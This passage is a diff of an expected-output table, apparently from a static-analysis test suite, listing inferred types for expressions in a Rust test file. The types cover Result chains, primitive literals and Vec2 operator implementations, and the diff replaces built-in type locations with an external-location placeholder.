main.rs:1216:20:1216:27 | T | -| main.rs:1216:69:1223:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1216:69:1223:5 | { ... } | | {EXTERNAL LOCATION} | Result | | main.rs:1216:69:1223:5 | { ... } | E | main.rs:1188:5:1189:14 | S1 | | main.rs:1216:69:1223:5 | { ... } | T | main.rs:1216:20:1216:27 | T | | main.rs:1217:13:1217:17 | value | | main.rs:1216:20:1216:27 | T | -| main.rs:1217:21:1217:25 | input | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1217:21:1217:25 | input | | {EXTERNAL LOCATION} | Result | | main.rs:1217:21:1217:25 | input | E | main.rs:1188:5:1189:14 | S1 | | main.rs:1217:21:1217:25 | input | T | main.rs:1216:20:1216:27 | T | | main.rs:1217:21:1217:26 | TryExpr | | main.rs:1216:20:1216:27 | T | -| main.rs:1218:22:1218:38 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1218:22:1218:38 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1218:22:1218:38 | ...::Ok(...) | T | main.rs:1216:20:1216:27 | T | -| main.rs:1218:22:1221:10 | ... .and_then(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1218:22:1221:10 | ... .and_then(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1218:33:1218:37 | value | | main.rs:1216:20:1216:27 | T | -| main.rs:1218:53:1221:9 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1218:53:1221:9 | { ... } | | {EXTERNAL LOCATION} | Result | | main.rs:1218:53:1221:9 | { ... } | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1219:22:1219:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1220:13:1220:34 | ...::Ok::<...>(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1219:22:1219:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1220:13:1220:34 | ...::Ok::<...>(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1220:13:1220:34 | ...::Ok::<...>(...) | E | main.rs:1188:5:1189:14 | S1 | -| main.rs:1222:9:1222:23 | ...::Err(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1222:9:1222:23 | ...::Err(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1222:9:1222:23 | ...::Err(...) | E | main.rs:1188:5:1189:14 | S1 | | main.rs:1222:9:1222:23 | ...::Err(...) | T | main.rs:1216:20:1216:27 | T | | main.rs:1222:21:1222:22 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1226:37:1226:52 | try_same_error(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1226:37:1226:52 | try_same_error(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1226:37:1226:52 | try_same_error(...) | E | main.rs:1188:5:1189:14 | S1 | | main.rs:1226:37:1226:52 | try_same_error(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1227:22:1227:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1230:37:1230:55 | try_convert_error(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1227:22:1227:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1230:37:1230:55 | try_convert_error(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1230:37:1230:55 | try_convert_error(...) | E | main.rs:1191:5:1192:14 | S2 | | main.rs:1230:37:1230:55 | try_convert_error(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1231:22:1231:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1234:37:1234:49 | try_chained(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1231:22:1231:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1234:37:1234:49 | try_chained(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1234:37:1234:49 | try_chained(...) | E | main.rs:1191:5:1192:14 | S2 | | main.rs:1234:37:1234:49 | try_chained(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1235:22:1235:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1238:37:1238:63 | try_complex(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1235:22:1235:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1238:37:1238:63 | try_complex(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1238:37:1238:63 | try_complex(...) | E | main.rs:1188:5:1189:14 | S1 | | main.rs:1238:37:1238:63 | try_complex(...) | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1238:49:1238:62 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1238:49:1238:62 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1238:49:1238:62 | ...::Ok(...) | E | main.rs:1188:5:1189:14 | S1 | | main.rs:1238:49:1238:62 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | | main.rs:1238:60:1238:61 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1239:22:1239:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1246:13:1246:13 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1246:22:1246:22 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1247:13:1247:13 | y | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1247:17:1247:17 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1248:13:1248:13 | z | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1248:17:1248:17 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1248:17:1248:21 | ... + ... | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1248:21:1248:21 | y | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1249:13:1249:13 | z | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1249:17:1249:17 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1249:17:1249:23 | x.abs() | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1250:13:1250:13 | c | | file:///BUILTINS/types.rs:6:1:7:16 | char | -| main.rs:1250:17:1250:19 | 'c' | | file:///BUILTINS/types.rs:6:1:7:16 | char | -| main.rs:1251:13:1251:17 | hello | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1251:21:1251:27 | "Hello" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1252:13:1252:13 | f | | file:///BUILTINS/types.rs:25:1:25:15 | f64 | -| main.rs:1252:17:1252:24 | 123.0f64 | | file:///BUILTINS/types.rs:25:1:25:15 | f64 | -| main.rs:1253:13:1253:13 | t | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1253:17:1253:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1254:13:1254:13 | f | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1254:17:1254:21 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1261:13:1261:13 | x | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1261:17:1261:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1261:17:1261:29 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1261:25:1261:29 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1262:13:1262:13 | y | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1262:17:1262:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1262:17:1262:29 | ... \|\| ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1262:25:1262:29 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1264:13:1264:17 | mut a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1265:13:1265:16 | cond | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1265:20:1265:21 | 34 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1265:20:1265:27 | ... == ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1265:26:1265:27 | 33 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1266:12:1266:15 | cond | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1239:22:1239:27 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1246:13:1246:13 | x | | {EXTERNAL LOCATION} | i32 | +| main.rs:1246:22:1246:22 | 1 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1247:13:1247:13 | y | | {EXTERNAL LOCATION} | i32 | +| main.rs:1247:17:1247:17 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1248:13:1248:13 | z | | {EXTERNAL LOCATION} | i32 | +| main.rs:1248:17:1248:17 | x | | {EXTERNAL LOCATION} | i32 | +| main.rs:1248:17:1248:21 | ... + ... | | {EXTERNAL LOCATION} | i32 | +| main.rs:1248:21:1248:21 | y | | {EXTERNAL LOCATION} | i32 | +| main.rs:1249:13:1249:13 | z | | {EXTERNAL LOCATION} | i32 | +| main.rs:1249:17:1249:17 | x | | {EXTERNAL LOCATION} | i32 | +| main.rs:1249:17:1249:23 | x.abs() | | {EXTERNAL LOCATION} | i32 | +| main.rs:1250:13:1250:13 | c | | {EXTERNAL LOCATION} | char | +| main.rs:1250:17:1250:19 | 'c' | | {EXTERNAL LOCATION} | char | +| main.rs:1251:13:1251:17 | hello | | {EXTERNAL LOCATION} | str | +| main.rs:1251:21:1251:27 | "Hello" | | {EXTERNAL LOCATION} | str | +| main.rs:1252:13:1252:13 | f | | {EXTERNAL LOCATION} | f64 | +| main.rs:1252:17:1252:24 | 123.0f64 | | {EXTERNAL LOCATION} | f64 | +| main.rs:1253:13:1253:13 | t | | {EXTERNAL LOCATION} | bool | +| main.rs:1253:17:1253:20 | true | | {EXTERNAL LOCATION} | bool | +| main.rs:1254:13:1254:13 | f | | {EXTERNAL LOCATION} | bool | +| main.rs:1254:17:1254:21 | false | | {EXTERNAL LOCATION} | bool | +| main.rs:1261:13:1261:13 | x | | {EXTERNAL LOCATION} | bool | +| main.rs:1261:17:1261:20 | true | | {EXTERNAL LOCATION} | bool | +| main.rs:1261:17:1261:29 | ... && ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1261:25:1261:29 | false | | {EXTERNAL LOCATION} | bool | +| main.rs:1262:13:1262:13 | y | | {EXTERNAL LOCATION} | bool | +| main.rs:1262:17:1262:20 | true | | {EXTERNAL LOCATION} | bool | +| main.rs:1262:17:1262:29 | ... \|\| ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1262:25:1262:29 | false | | {EXTERNAL LOCATION} | bool | +| main.rs:1264:13:1264:17 | mut a | | {EXTERNAL LOCATION} | i32 | +| main.rs:1265:13:1265:16 | cond | | {EXTERNAL LOCATION} | bool | +| main.rs:1265:20:1265:21 | 34 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1265:20:1265:27 | ... == ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1265:26:1265:27 | 33 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1266:12:1266:15 | cond | | {EXTERNAL LOCATION} | bool | | main.rs:1267:17:1267:17 | z | | file://:0:0:0:0 | () | | main.rs:1267:21:1267:27 | (...) | | file://:0:0:0:0 | () | -| main.rs:1267:22:1267:22 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1267:22:1267:22 | a | | {EXTERNAL LOCATION} | i32 | | main.rs:1267:22:1267:26 | ... = ... | | file://:0:0:0:0 | () | -| main.rs:1267:26:1267:26 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1269:13:1269:13 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1267:26:1267:26 | 1 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1269:13:1269:13 | a | | {EXTERNAL LOCATION} | i32 | | main.rs:1269:13:1269:17 | ... = ... | | file://:0:0:0:0 | () | -| main.rs:1269:17:1269:17 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1271:9:1271:9 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1269:17:1269:17 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1271:9:1271:9 | a | | {EXTERNAL LOCATION} | i32 | | main.rs:1288:16:1288:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1288:22:1288:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1288:41:1293:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1289:13:1292:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1290:20:1290:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1290:20:1290:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1290:20:1290:33 | ... + ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1290:20:1290:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1290:20:1290:33 | ... + ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1290:29:1290:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1290:29:1290:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1290:29:1290:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1291:20:1291:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1291:20:1291:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1291:20:1291:33 | ... + ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1291:20:1291:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1291:20:1291:33 | ... + ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1291:29:1291:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1291:29:1291:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1291:29:1291:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1298:23:1298:31 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1298:23:1298:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1298:34:1298:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1299:13:1299:16 | self | | file://:0:0:0:0 | & | | main.rs:1299:13:1299:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1299:13:1299:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1299:13:1299:18 | self.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1299:13:1299:27 | ... += ... | | file://:0:0:0:0 | () | | main.rs:1299:23:1299:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1299:23:1299:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1299:23:1299:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1300:13:1300:16 | self | | file://:0:0:0:0 | & | | main.rs:1300:13:1300:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1300:13:1300:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1300:13:1300:18 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1300:13:1300:27 | ... += ... | | file://:0:0:0:0 | () | | main.rs:1300:23:1300:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1300:23:1300:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1300:23:1300:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1306:16:1306:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1306:22:1306:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1306:41:1311:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1307:13:1310:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1308:20:1308:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1308:20:1308:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1308:20:1308:33 | ... - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1308:20:1308:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1308:20:1308:33 | ... - ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1308:29:1308:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1308:29:1308:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1308:29:1308:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1309:20:1309:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1309:20:1309:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1309:20:1309:33 | ... - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1309:20:1309:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1309:20:1309:33 | ... - ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1309:29:1309:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1309:29:1309:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1309:29:1309:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1316:23:1316:31 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1316:23:1316:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1316:34:1316:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1317:13:1317:16 | self | | file://:0:0:0:0 | & | | main.rs:1317:13:1317:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1317:13:1317:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1317:13:1317:18 | self.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1317:13:1317:27 | ... -= ... | | file://:0:0:0:0 | () | | main.rs:1317:23:1317:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1317:23:1317:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1317:23:1317:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1318:13:1318:16 | self | | file://:0:0:0:0 | & | | main.rs:1318:13:1318:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1318:13:1318:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1318:13:1318:18 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1318:13:1318:27 | ... -= ... | | file://:0:0:0:0 | () | | main.rs:1318:23:1318:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1318:23:1318:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1318:23:1318:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1324:16:1324:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1324:22:1324:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1324:41:1329:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1325:13:1328:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1326:20:1326:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1326:20:1326:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1326:20:1326:33 | ... * ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1326:20:1326:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1326:20:1326:33 | ... * ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1326:29:1326:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1326:29:1326:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1326:29:1326:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1327:20:1327:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1327:20:1327:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1327:20:1327:33 | ... * ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1327:20:1327:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1327:20:1327:33 | ... * ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1327:29:1327:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1327:29:1327:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1327:29:1327:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1333:23:1333:31 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1333:23:1333:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1333:34:1333:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1334:13:1334:16 | self | | file://:0:0:0:0 | & | | main.rs:1334:13:1334:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1334:13:1334:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1334:13:1334:18 | self.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1334:13:1334:27 | ... *= ... | | file://:0:0:0:0 | () | | main.rs:1334:23:1334:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1334:23:1334:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1334:23:1334:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1335:13:1335:16 | self | | file://:0:0:0:0 | & | | main.rs:1335:13:1335:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1335:13:1335:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1335:13:1335:18 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1335:13:1335:27 | ... *= ... | | file://:0:0:0:0 | () | | main.rs:1335:23:1335:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1335:23:1335:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1335:23:1335:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1341:16:1341:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1341:22:1341:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1341:41:1346:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1342:13:1345:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1343:20:1343:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1343:20:1343:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1343:20:1343:33 | ... / ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1343:20:1343:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1343:20:1343:33 | ... / ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1343:29:1343:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1343:29:1343:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1343:29:1343:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1344:20:1344:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1344:20:1344:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1344:20:1344:33 | ... / ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1344:20:1344:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1344:20:1344:33 | ... / ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1344:29:1344:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1344:29:1344:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1344:29:1344:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1350:23:1350:31 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1350:23:1350:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1350:34:1350:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1351:13:1351:16 | self | | file://:0:0:0:0 | & | | main.rs:1351:13:1351:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1351:13:1351:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1351:13:1351:18 | self.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1351:13:1351:27 | ... /= ... | | file://:0:0:0:0 | () | | main.rs:1351:23:1351:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1351:23:1351:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1351:23:1351:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1352:13:1352:16 | self | | file://:0:0:0:0 | & | | main.rs:1352:13:1352:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1352:13:1352:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1352:13:1352:18 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1352:13:1352:27 | ... /= ... | | file://:0:0:0:0 | () | | main.rs:1352:23:1352:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1352:23:1352:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1352:23:1352:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1358:16:1358:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1358:22:1358:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1358:41:1363:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1359:13:1362:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1360:20:1360:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1360:20:1360:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1360:20:1360:33 | ... % ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1360:20:1360:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1360:20:1360:33 | ... % ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1360:29:1360:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1360:29:1360:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1360:29:1360:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1361:20:1361:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1361:20:1361:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1361:20:1361:33 | ... % ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1361:20:1361:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1361:20:1361:33 | ... % ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1361:29:1361:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1361:29:1361:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1361:29:1361:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1367:23:1367:31 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1367:23:1367:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1367:34:1367:36 | rhs | | 